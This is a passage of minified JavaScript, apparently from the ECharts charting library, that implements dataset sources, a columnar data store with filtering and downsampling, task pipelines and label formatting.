Ov({data:e,sourceFormat:n,seriesLayoutBy:r,dimensionsDefine:i.dimensionsDefine,startIndex:i.startIndex,dimensionsDetectedCount:i.dimensionsDetectedCount,metaRawOption:P(t)})}function jv(e){return new Ov({data:e,sourceFormat:_t(e)?h_:d_})}function Mv(e){return new Ov({data:e.data,sourceFormat:e.sourceFormat,seriesLayoutBy:e.seriesLayoutBy,dimensionsDefine:P(e.dimensionsDefine),startIndex:e.startIndex,dimensionsDetectedCount:e.dimensionsDetectedCount})}function Nv(e){var t=g_;if(_t(e))t=h_;else if(B(e)){e.length===0&&(t=f_);for(var n=0,r=e.length;n<r;n++){var i=e[n];if(i!=null){if(B(i)||_t(i)){t=f_;break}else if(U(i)){t=p_;break}}}}else if(U(e)){for(var a in e)if(K(e,a)&&st(e[a])){t=m_;break}}return t}function Pv(e,t,n,r,i){var a,o;if(!e)return{dimensionsDefine:Iv(i),startIndex:o,dimensionsDetectedCount:a};if(t===`arrayRows`){var s=e;r===`auto`||r==null?Lv(function(e){e!=null&&e!==`-`&&(H(e)?o??=1:o=0)},n,s,10):o=ht(r)?r:+!!r,!i&&o===1&&(i=[],Lv(function(e,t){i[t]=e==null?``:e+``},n,s,1/0)),a=i?i.length:n===`row`?s.length:s[0]?s[0].length:null}else if(t===`objectRows`)i||=Fv(e);else if(t===`keyedColumns`)i||(i=[],L(e,function(e,t){i.push(t)}));else if(t===`original`){var c=Vs(e[0]);a=B(c)&&c.length||1}return{startIndex:o,dimensionsDefine:Iv(i),dimensionsDetectedCount:a}}function Fv(e){for(var t=0,n;t<e.length&&!(n=e[t++]););if(n)return dt(n)}function Iv(e){if(e){var t=G();return R(e,function(e,n){e=U(e)?e:{name:e};var r={name:e.name,displayName:e.displayName,type:e.type};if(r.name==null)return r;r.name+=``,r.displayName??=r.name;var i=t.get(r.name);return i?r.name+=`-`+ i.count++:t.set(r.name,{count:1}),r})}}function Lv(e,t,n,r){if(t===`row`)for(var i=0;i<n.length&&i<r;i++)e(n[i]?n[i][0]:null,i);else for(var a=n[0]||[],i=0;i<a.length&&i<r;i++)e(a[i],i)}function Rv(e){var t=e.sourceFormat;return t===`objectRows`||t===`keyedColumns`}var zv,Bv,Vv,Hv,Uv,Wv,Gv=function(){function e(e,t){var n=kv(e)?e:jv(e);this._source=n;var r=this._data=n.data,i=n.sourceFormat;n.seriesLayoutBy,i===`typedArray`&&(this._offset=0,this._dimSize=t,this._data=r),Wv(this,r,n)}return e.prototype.getSource=function(){return this._source},e.prototype.count=function(){return 0},e.prototype.getItem=function(e,t){},e.prototype.appendData=function(e){},e.prototype.clean=function(){},e.protoInitialize=function(){var t=e.prototype;t.pure=!1,t.persistent=!0}(),e.internalField=function(){var e;Wv=function(e,i,a){var o=a.sourceFormat,s=a.seriesLayoutBy,c=a.startIndex,l=a.dimensionsDefine,u=Uv[ny(o,s)];F(e,u),o===`typedArray`?(e.getItem=t,e.count=r,e.fillStorage=n):(e.getItem=z(Yv(o,s),null,i,c,l),e.count=z(Qv(o,s),null,i,c,l))};var t=function(e,t){e-=this._offset,t||=[];for(var n=this._data,r=this._dimSize,i=r*e,a=0;a<r;a++)t[a]=n[i+a];return t},n=function(e,t,n,r){for(var i=this._data,a=this._dimSize,o=0;o<a;o++){for(var s=r[o],c=s[0]==null?1/0:s[0],l=s[1]==null?-1/0:s[1],u=t-e,d=n[o],f=0;f<u;f++){var p=i[f*a+o];d[e+f]=p,p<c&&(c=p),p>l&&(l=p)}s[0]=c,s[1]=l}},r=function(){return this._data?this._data.length/this._dimSize:0};Uv=(e={},e[f_+`_`+__]={pure:!0,appendData:i},e[f_+`_row`]={pure:!0,appendData:function(){throw Error(`Do not support appendData when set seriesLayoutBy: "row".`)}},e[p_]={pure:!0,appendData:i},e[m_]={pure:!0,appendData:function(e){var t=this._data;L(e,function(e,n){for(var r=t[n]||(t[n]=[]),i=0;i<(e||[]).length;i++)r.push(e[i])})}},e[d_]={appendData:i},e[h_]={persistent:!1,pure:!0,appendData:function(e){this._data=e},clean:function(){this._offset+=this.count(),this._data=null}},e);function i(e){for(var t=0;t<e.length;t++)this._data.push(e[t])}}(),e}(),Kv=function(e){B(e)||Ns(`series.data or dataset.source must be an array.`)};zv={},zv[f_+`_`+__]=Kv,zv[f_+`_row`]=Kv,zv[p_]=Kv,zv[m_]=function(e,t){for(var n=0;n<t.length;n++)t[n].name??Ns(`dimension name must not be null/undefined.`)},zv[d_]=Kv;var qv=function(e,t,n,r){return e[r]},Jv=(Bv={},Bv[f_+`_`+__]=function(e,t,n,r){return e[r+t]},Bv[f_+`_row`]=function(e,t,n,r,i){r+=t;for(var a=i||[],o=e,s=0;s<o.length;s++){var c=o[s];a[s]=c?c[r]:null}return a},Bv[p_]=qv,Bv[m_]=function(e,t,n,r,i){for(var a=i||[],o=0;o<n.length;o++){var s=n[o].name,c=s==null?null:e[s];a[o]=c?c[r]:null}return a},Bv[d_]=qv,Bv);function Yv(e,t){return Jv[ny(e,t)]}var Xv=function(e,t,n){return e.length},Zv=(Vv={},Vv[f_+`_`+__]=function(e,t,n){return Math.max(0,e.length-t)},Vv[f_+`_row`]=function(e,t,n){var r=e[0];return r?Math.max(0,r.length-t):0},Vv[p_]=Xv,Vv[m_]=function(e,t,n){var r=n[0].name,i=r==null?null:e[r];return i?i.length:0},Vv[d_]=Xv,Vv);function Qv(e,t){return Zv[ny(e,t)]}var $v=function(e,t,n){return e[t]},ey=(Hv={},Hv[f_]=$v,Hv[p_]=function(e,t,n){return e[n]},Hv[m_]=$v,Hv[d_]=function(e,t,n){var r=Vs(e);return r instanceof Array?r[t]:r},Hv[h_]=$v,Hv);function ty(e){return ey[e]}function ny(e,t){return e===`arrayRows`?e+`_`+t:e}function ry(e,t,n){if(e){var r=e.getRawDataItem(t);if(r!=null){var i=e.getStore(),a=i.getSource().sourceFormat;if(n!=null){var o=e.getDimensionIndex(n),s=i.getDimensionProperty(o);return ty(a)(r,o,s)}else{var c=r;return a===`original`&&(c=Vs(r)),c}}}}var iy=/\{@(.+?)\}/g,ay=function(){function e(){}return e.prototype.getDataParams=function(e,t){var n=this.getData(t),r=this.getRawValue(e,t),i=n.getRawIndex(e),a=n.getName(e),o=n.getRawDataItem(e),s=n.getItemVisual(e,`style`),c=s&&s[n.getItemVisual(e,`drawType`)||`fill`],l=s&&s.stroke,u=this.mainType,d=u===`series`,f=n.userOutput&&n.userOutput.get();return{componentType:u,componentSubType:this.subType,componentIndex:this.componentIndex,seriesType:d?this.subType:null,seriesIndex:this.seriesIndex,seriesId:d?this.id:null,seriesName:d?this.name:null,name:a,dataIndex:i,data:o,dataType:t,value:r,color:c,borderColor:l,dimensionNames:f?f.fullDimensions:null,encode:f?f.encode:null,$vars:[`seriesName`,`name`,`value`]}},e.prototype.getFormattedLabel=function(e,t,n,r,i,a){t||=`normal`;var o=this.getData(n),s=this.getDataParams(e,n);if(a&&(s.value=a.interpolatedValue),r!=null&&B(s.value)&&(s.value=s.value[r]),i||=o.getItemModel(e).get(t===`normal`?[`label`,`formatter`]:[t,`label`,`formatter`]),V(i))return s.status=t,s.dimensionIndex=r,i(s);if(H(i))return vg(i,s).replace(iy,function(t,n){var r=n.length,i=n;i.charAt(0)===`[`&&i.charAt(r-1)===`]`&&(i=+i.slice(1,r-1));var s=ry(o,e,i);if(a&&B(a.interpolatedValue)){var c=o.getDimensionIndex(i);c>=0&&(s=a.interpolatedValue[c])}return s==null?``:s+``})},e.prototype.getRawValue=function(e,t){return ry(this.getData(t),e)},e.prototype.formatTooltip=function(e,t,n){},e}();function oy(e){var t,n;return U(e)?e.type&&(n=e):t=e,{text:t,frag:n}}function sy(e){return new cy(e)}var cy=function(){function e(e){e||={},this._reset=e.reset,this._plan=e.plan,this._count=e.count,this._onDirty=e.onDirty,this._dirty=!0}return e.prototype.perform=function(e){var t=this._upstream,n=e&&e.skip;if(this._dirty&&t){var r=this.context;r.data=r.outputData=t.context.outputData}this.__pipeline&&(this.__pipeline.currentTask=this);var i;this._plan&&!n&&(i=this._plan(this.context));var a=l(this._modBy),o=this._modDataCount||0,s=l(e&&e.modBy),c=e&&e.modDataCount||0;(a!==s||o!==c)&&(i=`reset`);function l(e){return!(e>=1)&&(e=1),e}var u;(this._dirty||i===`reset`)&&(this._dirty=!1,u=this._doReset(n)),this._modBy=s,this._modDataCount=c;var d=e&&e.step;if(t?this._dueEnd=t._outputDueEnd:this._dueEnd=this._count?this._count(this.context):1/0,this._progress){var f=this._dueIndex,p=Math.min(d==null?1/0:this._dueIndex+d,this._dueEnd);if(!n&&(u||f<p)){var m=this._progress;if(B(m))for(var h=0;h<m.length;h++)this._doProgress(m[h],f,p,s,c);else this._doProgress(m,f,p,s,c)}this._dueIndex=p;var g=this._settedOutputEnd==null?p:this._settedOutputEnd;this._outputDueEnd=g}else this._dueIndex=this._outputDueEnd=this._settedOutputEnd==null?this._dueEnd:this._settedOutputEnd;return this.unfinished()},e.prototype.dirty=function(){this._dirty=!0,this._onDirty&&this._onDirty(this.context)},e.prototype._doProgress=function(e,t,n,r,i){ly.reset(t,n,r,i),this._callingProgress=e,this._callingProgress({start:t,end:n,count:n-t,next:ly.next},this.context)},e.prototype._doReset=function(e){this._dueIndex=this._outputDueEnd=this._dueEnd=0,this._settedOutputEnd=null;var t,n;!e&&this._reset&&(t=this._reset(this.context),t&&t.progress&&(n=t.forceFirstProgress,t=t.progress),B(t)&&!t.length&&(t=null)),this._progress=t,this._modBy=this._modDataCount=null;var r=this._downstream;return r&&r.dirty(),n},e.prototype.unfinished=function(){return this._progress&&this._dueIndex<this._dueEnd},e.prototype.pipe=function(e){(this._downstream!==e||this._dirty)&&(this._downstream=e,e._upstream=this,e.dirty())},e.prototype.dispose=function(){this._disposed||=(this._upstream&&(this._upstream._downstream=null),this._downstream&&(this._downstream._upstream=null),this._dirty=!1,!0)},e.prototype.getUpstream=function(){return this._upstream},e.prototype.getDownstream=function(){return this._downstream},e.prototype.setOutputEnd=function(e){this._outputDueEnd=this._settedOutputEnd=e},e}(),ly=function(){var e,t,n,r,i,a={reset:function(c,l,u,d){t=c,e=l,n=u,r=d,i=Math.ceil(r/n),a.next=n>1&&r>0?s:o}};return a;function o(){return t<e?t++:null}function s(){var a=t%i*n+Math.ceil(t/i),o=t>=e?null:a<r?a:t;return t++,o}}();function uy(e,t){var n=t&&t.type;return n===`ordinal`?e:(n===`time`&&!ht(e)&&e!=null&&e!==`-`&&(e=+vs(e)),e==null||e===``?NaN:Number(e))}var dy=G({number:function(e){return parseFloat(e)},time:function(e){return+vs(e)},trim:function(e){return H(e)?Ot(e):e}});function fy(e){return dy.get(e)}var py={lt:function(e,t){return e<t},lte:function(e,t){return e<=t},gt:function(e,t){return e>t},gte:function(e,t){return e>=t}},my=function(){function e(e,t){ht(t)||Ps(``),this._opFn=py[e],this._rvalFloat=ws(t)}return e.prototype.evaluate=function(e){return ht(e)?this._opFn(e,this._rvalFloat):this._opFn(ws(e),this._rvalFloat)},e}(),hy=function(){function e(e,t){var n=e===`desc`;this._resultLT=n?1:-1,t??=n?`min`:`max`,this._incomparable=t===`min`?-1/0:1/0}return e.prototype.evaluate=function(e,t){var n=ht(e)?e:ws(e),r=ht(t)?t:ws(t),i=isNaN(n),a=isNaN(r);if(i&&(n=this._incomparable),a&&(r=this._incomparable),i&&a){var o=H(e),s=H(t);o&&(n=s?e:0),s&&(r=o?t:0)}return n<r?this._resultLT:n>r?-this._resultLT:0},e}(),gy=function(){function e(e,t){this._rval=t,this._isEQ=e,this._rvalTypeof=typeof t,this._rvalFloat=ws(t)}return e.prototype.evaluate=function(e){var t=e===this._rval;if(!t){var n=typeof e;n!==this._rvalTypeof&&(n===`number`||this._rvalTypeof===`number`)&&(t=ws(e)===this._rvalFloat)}return this._isEQ?t:!t},e}();function _y(e,t){return e===`eq`||e===`ne`?new gy(e===`eq`,t):K(py,e)?new my(e,t):null}var vy=function(){function e(){}return e.prototype.getRawData=function(){throw Error(`not supported`)},e.prototype.getRawDataItem=function(e){throw Error(`not supported`)},e.prototype.cloneRawData=function(){},e.prototype.getDimensionInfo=function(e){},e.prototype.cloneAllDimensionInfo=function(){},e.prototype.count=function(){},e.prototype.retrieveValue=function(e,t){},e.prototype.retrieveValueFromItem=function(e,t){},e.prototype.convertValue=function(e,t){return uy(e,t)},e}();function yy(e,t){var n=new vy,r=e.data,i=n.sourceFormat=e.sourceFormat,a=e.startIndex;e.seriesLayoutBy!==`column`&&Ps(``);var o=[],s={},c=e.dimensionsDefine;if(c)L(c,function(e,t){var n=e.name,r={index:t,name:n,displayName:e.displayName};o.push(r),n!=null&&(K(s,n)&&Ps(``),s[n]=r)});else for(var l=0;l<e.dimensionsDetectedCount;l++)o.push({index:l});var u=Yv(i,__);t.__isBuiltIn&&(n.getRawDataItem=function(e){return u(r,a,o,e)},n.getRawData=z(by,null,e)),n.cloneRawData=z(xy,null,e),n.count=z(Qv(i,__),null,r,a,o);var d=ty(i);n.retrieveValue=function(e,t){return f(u(r,a,o,e),t)};var f=n.retrieveValueFromItem=function(e,t){if(e!=null){var n=o[t];if(n)return d(e,t,n.name)}};return n.getDimensionInfo=z(Sy,null,o,s),n.cloneAllDimensionInfo=z(Cy,null,o),n}function by(e){var t=e.sourceFormat;return Oy(t)||Ps(``),e.data}function xy(e){var t=e.sourceFormat,n=e.data;if(Oy(t)||Ps(``),t===`arrayRows`){for(var r=[],i=0,a=n.length;i<a;i++)r.push(n[i].slice());return r}else if(t===`objectRows`){for(var r=[],i=0,a=n.length;i<a;i++)r.push(F({},n[i]));return r}}function Sy(e,t,n){if(n!=null){if(ht(n)||!isNaN(n)&&!K(t,n))return e[n];if(K(t,n))return t[n]}}function Cy(e){return P(e)}var wy=G();function Ty(e){e=P(e);var t=e.type,n=``;t||Ps(n);var r=t.split(`:`);r.length!==2&&Ps(n);var i=!1;r[0]===`echarts`&&(t=r[1],i=!0),e.__isBuiltIn=i,wy.set(t,e)}function Ey(e,t,n){var r=Rs(e),i=r.length;i||Ps(``);for(var a=0,o=i;a<o;a++){var s=r[a];t=Dy(s,t,n,i===1?null:a),a!==o-1&&(t.length=Math.max(t.length,1))}return t}function Dy(e,t,n,r){var i=``;t.length||Ps(i),U(e)||Ps(i);var a=e.type,o=wy.get(a);o||Ps(i);var s=R(t,function(e){return yy(e,o)});return R(Rs(o.transform({upstream:s[0],upstreamList:s,config:P(e.config)})),function(e,n){var r=``;U(e)||Ps(r),e.data||Ps(r),Oy(Nv(e.data))||Ps(r);var i,a=t[0];if(a&&n===0&&!e.dimensions){var o=a.startIndex;o&&(e.data=a.data.slice(0,o).concat(e.data)),i={seriesLayoutBy:__,sourceHeader:o,dimensions:a.metaRawOption.dimensions}}else i={seriesLayoutBy:__,sourceHeader:0,dimensions:e.dimensions};return Av(e.data,i,null)})}function Oy(e){return e===`arrayRows`||e===`objectRows`}var ky=`undefined`,Ay=typeof Uint32Array===ky?Array:Uint32Array,jy=typeof Uint16Array===ky?Array:Uint16Array,My=typeof Int32Array===ky?Array:Int32Array,Ny=typeof Float64Array===ky?Array:Float64Array,Py={float:Ny,int:My,ordinal:Array,number:Array,time:Ny},Fy;function Iy(e){return e>65535?Ay:jy}function Ly(){return[1/0,-1/0]}function Ry(e){var t=e.constructor;return t===Array?e.slice():new t(e)}function zy(e,t,n,r,i){var a=Py[n||`float`];if(i){var o=e[t],s=o&&o.length;if(s!==r){for(var c=new a(r),l=0;l<s;l++)c[l]=o[l];e[t]=c}}else e[t]=new a(r)}var By=function(){function e(){this._chunks=[],this._rawExtent=[],this._extent=[],this._count=0,this._rawCount=0,this._calcDimNameToIdx=G()}return e.prototype.initData=function(e,t,n){this._provider=e,this._chunks=[],this._indices=null,this.getRawIndex=this._getRawIdxIdentity;var r=e.getSource(),i=this.defaultDimValueGetter=Fy[r.sourceFormat];this._dimValueGetter=n||i,this._rawExtent=[],Rv(r),this._dimensions=R(t,function(e){return{type:e.type,property:e.property}}),this._initDataFromProvider(0,e.count())},e.prototype.getProvider=function(){return this._provider},e.prototype.getSource=function(){return this._provider.getSource()},e.prototype.ensureCalculationDimension=function(e,t){var n=this._calcDimNameToIdx,r=this._dimensions,i=n.get(e);if(i!=null){if(r[i].type===t)return i}else i=r.length;return r[i]={type:t},n.set(e,i),this._chunks[i]=new Py[t||`float`](this._rawCount),this._rawExtent[i]=Ly(),i},e.prototype.collectOrdinalMeta=function(e,t){var n=this._chunks[e],r=this._dimensions[e],i=this._rawExtent,a=r.ordinalOffset||0,o=n.length;a===0&&(i[e]=Ly());for(var s=i[e],c=a;c<o;c++){var l=n[c]=t.parseAndCollect(n[c]);isNaN(l)||(s[0]=Math.min(l,s[0]),s[1]=Math.max(l,s[1]))}r.ordinalMeta=t,r.ordinalOffset=o,r.type=`ordinal`},e.prototype.getOrdinalMeta=function(e){return this._dimensions[e].ordinalMeta},e.prototype.getDimensionProperty=function(e){var t=this._dimensions[e];return t&&t.property},e.prototype.appendData=function(e){var t=this._provider,n=this.count();t.appendData(e);var r=t.count();return t.persistent||(r+=n),n<r&&this._initDataFromProvider(n,r,!0),[n,r]},e.prototype.appendValues=function(e,t){for(var n=this._chunks,r=this._dimensions,i=r.length,a=this._rawExtent,o=this.count(),s=o+Math.max(e.length,t||0),c=0;c<i;c++){var l=r[c];zy(n,c,l.type,s,!0)}for(var u=[],d=o;d<s;d++)for(var f=d-o,p=0;p<i;p++){var l=r[p],m=Fy.arrayRows.call(this,e[f]||u,l.property,f,p);n[p][d]=m;var h=a[p];m<h[0]&&(h[0]=m),m>h[1]&&(h[1]=m)}return this._rawCount=this._count=s,{start:o,end:s}},e.prototype._initDataFromProvider=function(e,t,n){for(var r=this._provider,i=this._chunks,a=this._dimensions,o=a.length,s=this._rawExtent,c=R(a,function(e){return e.property}),l=0;l<o;l++){var u=a[l];s[l]||(s[l]=Ly()),zy(i,l,u.type,t,n)}if(r.fillStorage)r.fillStorage(e,t,i,s);else for(var d=[],f=e;f<t;f++){d=r.getItem(f,d);for(var p=0;p<o;p++){var m=i[p],h=this._dimValueGetter(d,c[p],f,p);m[f]=h;var g=s[p];h<g[0]&&(g[0]=h),h>g[1]&&(g[1]=h)}}!r.persistent&&r.clean&&r.clean(),this._rawCount=this._count=t,this._extent=[]},e.prototype.count=function(){return this._count},e.prototype.get=function(e,t){if(!(t>=0&&t<this._count))return NaN;var n=this._chunks[e];return n?n[this.getRawIndex(t)]:NaN},e.prototype.getValues=function(e,t){var n=[],r=[];if(t==null){t=e,e=[];for(var i=0;i<this._dimensions.length;i++)r.push(i)}else r=e;for(var i=0,a=r.length;i<a;i++)n.push(this.get(r[i],t));return n},e.prototype.getByRawIndex=function(e,t){if(!(t>=0&&t<this._rawCount))return NaN;var n=this._chunks[e];return n?n[t]:NaN},e.prototype.getSum=function(e){var t=this._chunks[e],n=0;if(t)for(var r=0,i=this.count();r<i;r++){var a=this.get(e,r);isNaN(a)||(n+=a)}return n},e.prototype.getMedian=function(e){var t=[];this.each([e],function(e){isNaN(e)||t.push(e)});var n=t.sort(function(e,t){return e-t}),r=this.count();return r===0?0:r%2==1?n[(r-1)/2]:(n[r/2]+n[r/2-1])/2},e.prototype.indexOfRawIndex=function(e){if(e>=this._rawCount||e<0)return-1;if(!this._indices)return e;var t=this._indices,n=t[e];if(n!=null&&n<this._count&&n===e)return e;for(var r=0,i=this._count-1;r<=i;){var a=(r+i)/2|0;if(t[a]<e)r=a+1;else if(t[a]>e)i=a-1;else return a}return-1},e.prototype.getIndices=function(){var e,t=this._indices;if(t){var n=t.constructor,r=this._count;if(n===Array){e=new n(r);for(var i=0;i<r;i++)e[i]=t[i]}else e=new n(t.buffer,0,r)}else{var n=Iy(this._rawCount);e=new n(this.count());for(var i=0;i<e.length;i++)e[i]=i}return e},e.prototype.filter=function(e,t){if(!this._count)return this;for(var n=this.clone(),r=n.count(),i=new(Iy(n._rawCount))(r),a=[],o=e.length,s=0,c=e[0],l=n._chunks,u=0;u<r;u++){var d=void 0,f=n.getRawIndex(u);if(o===0)d=t(u);else if(o===1){var p=l[c][f];d=t(p,u)}else{for(var m=0;m<o;m++)a[m]=l[e[m]][f];a[m]=u,d=t.apply(null,a)}d&&(i[s++]=f)}return s<r&&(n._indices=i),n._count=s,n._extent=[],n._updateGetRawIdx(),n},e.prototype.selectRange=function(e){var t=this.clone(),n=t._count;if(!n)return this;var r=dt(e),i=r.length;if(!i)return this;var a=t.count(),o=new(Iy(t._rawCount))(a),s=0,c=r[0],l=e[c][0],u=e[c][1],d=t._chunks,f=!1;if(!t._indices){var p=0;if(i===1){for(var m=d[r[0]],h=0;h<n;h++){var g=m[h];(g>=l&&g<=u||isNaN(g))&&(o[s++]=p),p++}f=!0}else if(i===2){for(var m=d[r[0]],_=d[r[1]],v=e[r[1]][0],y=e[r[1]][1],h=0;h<n;h++){var g=m[h],b=_[h];(g>=l&&g<=u||isNaN(g))&&(b>=v&&b<=y||isNaN(b))&&(o[s++]=p),p++}f=!0}}if(!f)if(i===1)for(var h=0;h<a;h++){var x=t.getRawIndex(h),g=d[r[0]][x];(g>=l&&g<=u||isNaN(g))&&(o[s++]=x)}else for(var h=0;h<a;h++){for(var S=!0,x=t.getRawIndex(h),C=0;C<i;C++){var w=r[C],g=d[w][x];(g<e[w][0]||g>e[w][1])&&(S=!1)}S&&(o[s++]=t.getRawIndex(h))}return s<a&&(t._indices=o),t._count=s,t._extent=[],t._updateGetRawIdx(),t},e.prototype.map=function(e,t){var n=this.clone(e);return this._updateDims(n,e,t),n},e.prototype.modify=function(e,t){this._updateDims(this,e,t)},e.prototype._updateDims=function(e,t,n){for(var r=e._chunks,i=[],a=t.length,o=e.count(),s=[],c=e._rawExtent,l=0;l<t.length;l++)c[t[l]]=Ly();for(var u=0;u<o;u++){for(var d=e.getRawIndex(u),f=0;f<a;f++)s[f]=r[t[f]][d];s[a]=u;var p=n&&n.apply(null,s);if(p!=null){typeof p!=`object`&&(i[0]=p,p=i);for(var l=0;l<p.length;l++){var m=t[l],h=p[l],g=c[m],_=r[m];_&&(_[d]=h),h<g[0]&&(g[0]=h),h>g[1]&&(g[1]=h)}}}},e.prototype.lttbDownSample=function(e,t){var n=this.clone([e],!0),r=n._chunks[e],i=this.count(),a=0,o=Math.floor(1/t),s=this.getRawIndex(0),c,l,u,d=new(Iy(this._rawCount))(Math.min((Math.ceil(i/o)+2)*2,i));d[a++]=s;for(var f=1;f<i-1;f+=o){for(var p=Math.min(f+o,i-1),m=Math.min(f+o*2,i),h=(m+p)/2,g=0,_=p;_<m;_++){var v=this.getRawIndex(_),y=r[v];isNaN(y)||(g+=y)}g/=m-p;var b=f,x=Math.min(f+o,i),S=f-1,C=r[s];c=-1,u=b;for(var w=-1,T=0,_=b;_<x;_++){var v=this.getRawIndex(_),y=r[v];if(isNaN(y)){T++,w<0&&(w=v);continue}l=Math.abs((S-h)*(y-C)-(S-_)*(g-C)),l>c&&(c=l,u=v)}T>0&&T<x-b&&(d[a++]=Math.min(w,u),u=Math.max(w,u)),d[a++]=u,s=u}return d[a++]=this.getRawIndex(i-1),n._count=a,n._indices=d,n.getRawIndex=this._getRawIdx,n},e.prototype.minmaxDownSample=function(e,t){for(var n=this.clone([e],!0),r=n._chunks,i=Math.floor(1/t),a=r[e],o=this.count(),s=new(Iy(this._rawCount))(Math.ceil(o/i)*2),c=0,l=0;l<o;l+=i){var u=l,d=a[this.getRawIndex(u)],f=l,p=a[this.getRawIndex(f)],m=i;l+i>o&&(m=o-l);for(var h=0;h<m;h++){var g=a[this.getRawIndex(l+h)];g<d&&(d=g,u=l+h),g>p&&(p=g,f=l+h)}var _=this.getRawIndex(u),v=this.getRawIndex(f);u<f?(s[c++]=_,s[c++]=v):(s[c++]=v,s[c++]=_)}return n._count=c,n._indices=s,n._updateGetRawIdx(),n},e.prototype.downSample=function(e,t,n,r){for(var i=this.clone([e],!0),a=i._chunks,o=[],s=Math.floor(1/t),c=a[e],l=this.count(),u=i._rawExtent[e]=Ly(),d=new(Iy(this._rawCount))(Math.ceil(l/s)),f=0,p=0;p<l;p+=s){s>l-p&&(s=l-p,o.length=s);for(var m=0;m<s;m++)o[m]=c[this.getRawIndex(p+m)];var h=n(o),g=this.getRawIndex(Math.min(p+r(o,h)||0,l-1));c[g]=h,h<u[0]&&(u[0]=h),h>u[1]&&(u[1]=h),d[f++]=g}return i._count=f,i._indices=d,i._updateGetRawIdx(),i},e.prototype.each=function(e,t){if(this._count)for(var n=e.length,r=this._chunks,i=0,a=this.count();i<a;i++){var o=this.getRawIndex(i);switch(n){case 0:t(i);break;case 1:t(r[e[0]][o],i);break;case 2:t(r[e[0]][o],r[e[1]][o],i);break;default:for(var s=0,c=[];s<n;s++)c[s]=r[e[s]][o];c[s]=i,t.apply(null,c)}}},e.prototype.getDataExtent=function(e){var t=this._chunks[e],n=Ly();if(!t)return n;var r=this.count(),i=!this._indices,a;if(i)return this._rawExtent[e].slice();if(a=this._extent[e],a)return a.slice();a=n;for(var o=a[0],s=a[1],c=0;c<r;c++){var l=t[this.getRawIndex(c)];l<o&&(o=l),l>s&&(s=l)}return a=[o,s],this._extent[e]=a,a},e.prototype.getRawDataItem=function(e){var t=this.getRawIndex(e);if(this._provider.persistent)return this._provider.getItem(t);for(var n=[],r=this._chunks,i=0;i<r.length;i++)n.push(r[i][t]);return n},e.prototype.clone=function(t,n){var r=new e,i=this._chunks,a=t&&ct(t,function(e,t){return e[t]=!0,e},{});if(a)for(var o=0;o<i.length;o++)r._chunks[o]=a[o]?Ry(i[o]):i[o];else r._chunks=i;return this._copyCommonProps(r),n||(r._indices=this._cloneIndices()),r._updateGetRawIdx(),r},e.prototype._copyCommonProps=function(e){e._count=this._count,e._rawCount=this._rawCount,e._provider=this._provider,e._dimensions=this._dimensions,e._extent=P(this._extent),e._rawExtent=P(this._rawExtent)},e.prototype._cloneIndices=function(){if(this._indices){var e=this._indices.constructor,t=void 0;if(e===Array){var n=this._indices.length;t=new e(n);for(var r=0;r<n;r++)t[r]=this._indices[r]}else t=new e(this._indices);return t}return null},e.prototype._getRawIdxIdentity=function(e){return e},e.prototype._getRawIdx=function(e){return e<this._count&&e>=0?this._indices[e]:-1},e.prototype._updateGetRawIdx=function(){this.getRawIndex=this._indices?this._getRawIdx:this._getRawIdxIdentity},e.internalField=function(){function e(e,t,n,r){return uy(e[r],this._dimensions[r])}Fy={arrayRows:e,objectRows:function(e,t,n,r){return uy(e[t],this._dimensions[r])},keyedColumns:e,original:function(e,t,n,r){var i=e&&(e.value==null?e:e.value);return uy(i instanceof Array?i[r]:i,this._dimensions[r])},typedArray:function(e,t,n,r){return e[r]}}}(),e}(),Vy=function(){function e(e){this._sourceList=[],this._storeList=[],this._upstreamSignList=[],this._versionSignBase=0,this._dirty=!0,this._sourceHost=e}return e.prototype.dirty=function(){this._setLocalSource([],[]),this._storeList=[],this._dirty=!0},e.prototype._setLocalSource=function(e,t){this._sourceList=e,this._upstreamSignList=t,this._versionSignBase++,this._versionSignBase>9e10&&(this._versionSignBase=0)},e.prototype._getVersionSign=function(){return this._sourceHost.uid+`_`+this._versionSignBase},e.prototype.prepareSource=function(){this._isDirty()&&(this._createSource(),this._dirty=!1)},e.prototype._createSource=function(){this._setLocalSource([],[]);var e=this._sourceHost,t=this._getUpstreamSourceManagers(),n=!!t.length,r,i;if(Uy(e)){var a=e,o=void 0,s=void 0,c=void 0;if(n){var l=t[0];l.prepareSource(),c=l.getSource(),o=c.data,s=c.sourceFormat,i=[l._getVersionSign()]}else o=a.get(`data`,!0),s=_t(o)?h_:d_,i=[];var u=this._getSourceMetaRawOption()||{},d=c&&c.metaRawOption||{},f=W(u.seriesLayoutBy,d.seriesLayoutBy)||null,p=W(u.sourceHeader,d.sourceHeader),m=W(u.dimensions,d.dimensions);r=f!==d.seriesLayoutBy||!!p!=!!d.sourceHeader||m?[Av(o,{seriesLayoutBy:f,sourceHeader:p,dimensions:m},s)]:[]}else{var h=e;if(n){var g=this._applyTransform(t);r=g.sourceList,i=g.upstreamSignList}else r=[Av(h.get(`source`,!0),this._getSourceMetaRawOption(),null)],i=[]}this._setLocalSource(r,i)},e.prototype._applyTransform=function(e){var t=this._sourceHost,n=t.get(`transform`,!0),r=t.get(`fromTransformResult`,!0);r!=null&&e.length!==1&&Wy(``);var i,a=[],o=[];return L(e,function(e){e.prepareSource();var t=e.getSource(r||0);r!=null&&!t&&Wy(``),a.push(t),o.push(e._getVersionSign())}),n?i=Ey(n,a,{datasetIndex:t.componentIndex}):r!=null&&(i=[Mv(a[0])]),{sourceList:i,upstreamSignList:o}},e.prototype._isDirty=function(){if(this._dirty)return!0;for(var e=this._getUpstreamSourceManagers(),t=0;t<e.length;t++){var n=e[t];if(n._isDirty()||this._upstreamSignList[t]!==n._getVersionSign())return!0}},e.prototype.getSource=function(e){e||=0;var t=this._sourceList[e];if(!t){var n=this._getUpstreamSourceManagers();return n[0]&&n[0].getSource(e)}return t},e.prototype.getSharedDataStore=function(e){var t=e.makeStoreSchema();return this._innerGetDataStore(t.dimensions,e.source,t.hash)},e.prototype._innerGetDataStore=function(e,t,n){var r=0,i=this._storeList,a=i[r];a||=i[r]={};var o=a[n];if(!o){var s=this._getUpstreamSourceManagers()[0];Uy(this._sourceHost)&&s?o=s._innerGetDataStore(e,t,n):(o=new By,o.initData(new Gv(t,e.length),e)),a[n]=o}return o},e.prototype._getUpstreamSourceManagers=function(){var e=this._sourceHost;if(Uy(e)){var t=C_(e);return t?[t.getSourceManager()]:[]}else return R(w_(e),function(e){return e.getSourceManager()})},e.prototype._getSourceMetaRawOption=function(){var 